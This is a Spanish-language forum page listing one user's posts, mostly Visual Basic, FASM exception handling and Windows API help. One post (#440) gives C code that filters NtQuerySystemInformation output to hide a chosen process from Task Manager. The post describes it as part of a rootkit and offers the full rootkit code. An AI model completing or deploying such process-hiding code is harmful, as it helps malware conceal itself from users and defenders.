Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - fary

#431
Te voy a contar un secreto  :-X

Windows tiene unas funciones de compresion que estan en todas sus versiones, a partir de Windows XP.

https://msdn.microsoft.com/en-us/library/windows/hardware/ff552127%28v=vs.85%29.aspx

saludos  :P
#432
Programación Visual Basic / Re: duda con visual
10 Febrero 2016, 22:22 PM
Bueno pues,  tu estas tratando de sacar el promedio de una cadena, ya que no conviertes lo que contienen los TextBox en valores numerico. Además no indicas el tipo de variable que declaras.

El código corregido sería este:

Código (vb) [Seleccionar]
Private Sub Command1_Click()
   Dim promedio As Integer

   Dim a As Integer
   Dim b As Integer
   Dim c As Integer

   a = Val(Text1.Text)
   b = Val(Text2.Text)
   c = Val(Text3.Text)

   promedio = (a + b + c) / 3

   MsgBox ("el promedio es " & promedio)
End Sub
#433
Muy interesante MadAntrax.  :P

#434
ASM / Re: Excepciones en FASM
10 Febrero 2016, 02:31 AM
De manera más vulgar.

push Excepción      ; Empujamos la dirección del control de excepción.
push dword [FS:0]  ; Empujamos el ultimo manejador de excepciones que habia (el siguiente que se ejecutara si no controla el error)
mov  [FS:0], esp    ; ponemos el puntero de la estructura. Es decir, establecemos el controlador de excepciones que acabamos de crear.


Recuerda que si nuestro controlador no es capaz de controlar la excepción (Oséa no tenemos el filtro y le pasamos la excepción a la siguiente estructura), le pasará el control a otro controlador, en este casi entra en juego el manejador de excepciones que había, osea el valor que hemos introducido en:

+0x000 Next             : Ptr32 _EXCEPTION_REGISTRATION_RECORD

Que es el anterior controlador que se creo antes que el nuestro.

saludos!
#436
¿Comprobaste que se escribio en el registro correctamente?

¿El ejecutable esta en la ruta correcta?

¿El ejecutable tiene el nombre correcto?

saludos.
#437
crack81,

La estructura que publica microsoft como habrás podido comprobar no esta completa... vamos, que no sirve para nada esa documentación, te dice que existe pero no sus campos.

http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FSystem%20Information%2FNtQuerySystemInformation.html

Por otra parte, aquí:

ret = __SystemProcessInformation(5, spi, 1024*1024, NULL);

No he puesto el nombre de la constante pues no sé por que la verdad pero no creo que cueste tanto leerlo, Si quieres saber como funciona la API vas a mirar la documentación y si miras la documentación vas a ver porque es así.

saludos.


#438
Es un ejecutable de consola o GUI?.

Y si es GUI,  con que librerías la has hecho?
#439
No había caído  :xD pero, claro. Le puedes dar el formato con printf.

Un saludo   :)

pd: es meses
#440
No es el código completo, ya que sería todo demasiado masticado  :xD peeero, lo que queda de implementar (el hook a la api) se puede hacer fácilmente siguiendo mi tutorial sobre ello.

Esto es solo un ejemplo de cómo sería el filtro para ocultar procesos a dicha API (la que usa el admin de tareas para listar los procesos)  >:D

Si abrimos  la calculadora de windows (calc.exe) y descomentamos las línea de código vamos a ver como va mostrando todos los procesos menos el que ocultamos nosotros (con el while anterior).

En fin, aquí esta el código.

// Filtro procesos a la API NtQuerySystemInformation
// Juan fary.
// MVSC++ 2008

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct _SYSTEM_PROCESS_INFORMATION
{
   DWORD NextEntryOffset;
char fary1[56];
   DWORD ImageName;
DWORD fary2;
   LONG BasePriority;
   PVOID UniqueProcessId;
} SYSTEM_PROCESS_INFORMATION;

typedef DWORD (WINAPI * _SystemProcessInformation)(DWORD, void*, unsigned long, unsigned long*);

int main()
{
_SYSTEM_PROCESS_INFORMATION * spi;
DWORD ret;
char proceso[18] = "c\0a\0l\0c\0.\0e\0x\0e\0\0"; // "calc.exe" en unicode proceso que no se mostrará

_SystemProcessInformation __SystemProcessInformation = (_SystemProcessInformation)GetProcAddress(LoadLibraryA("NTDLL.DLL"), "NtQuerySystemInformation");

void * buffer = VirtualAlloc(NULL, 1024*1024, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);

spi = (_SYSTEM_PROCESS_INFORMATION *)buffer;

ret = __SystemProcessInformation(5, spi, 1024*1024, NULL);


//_SYSTEM_PROCESS_INFORMATION * Intacta = spi; // Para comprobar que el hook funciono.


while(spi->NextEntryOffset) // Filtro para saltar el proceso que nosotros queramos.
{
_SYSTEM_PROCESS_INFORMATION * Viejospi = spi;
spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);

if (lstrcmpW((LPCWSTR)spi->ImageName,(LPCWSTR)proceso) == 0)
{
Viejospi->NextEntryOffset += (DWORD)spi->NextEntryOffset;
}else{
spi = Viejospi;
spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
}        
}

/*spi = Intacta;
while(spi->NextEntryOffset) // Comprobamos que muestra todos los procemos menos el que ocultamos ;P
   {
       MessageBoxW(0, (LPCWSTR) spi->ImageName, 0, 0);
       spi=(_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
   }*/

return 0;
}


Sí teneis alguna duda o queréis que ponga el código completo del rootkit avisar, aunque perdería la gracia.

saludos.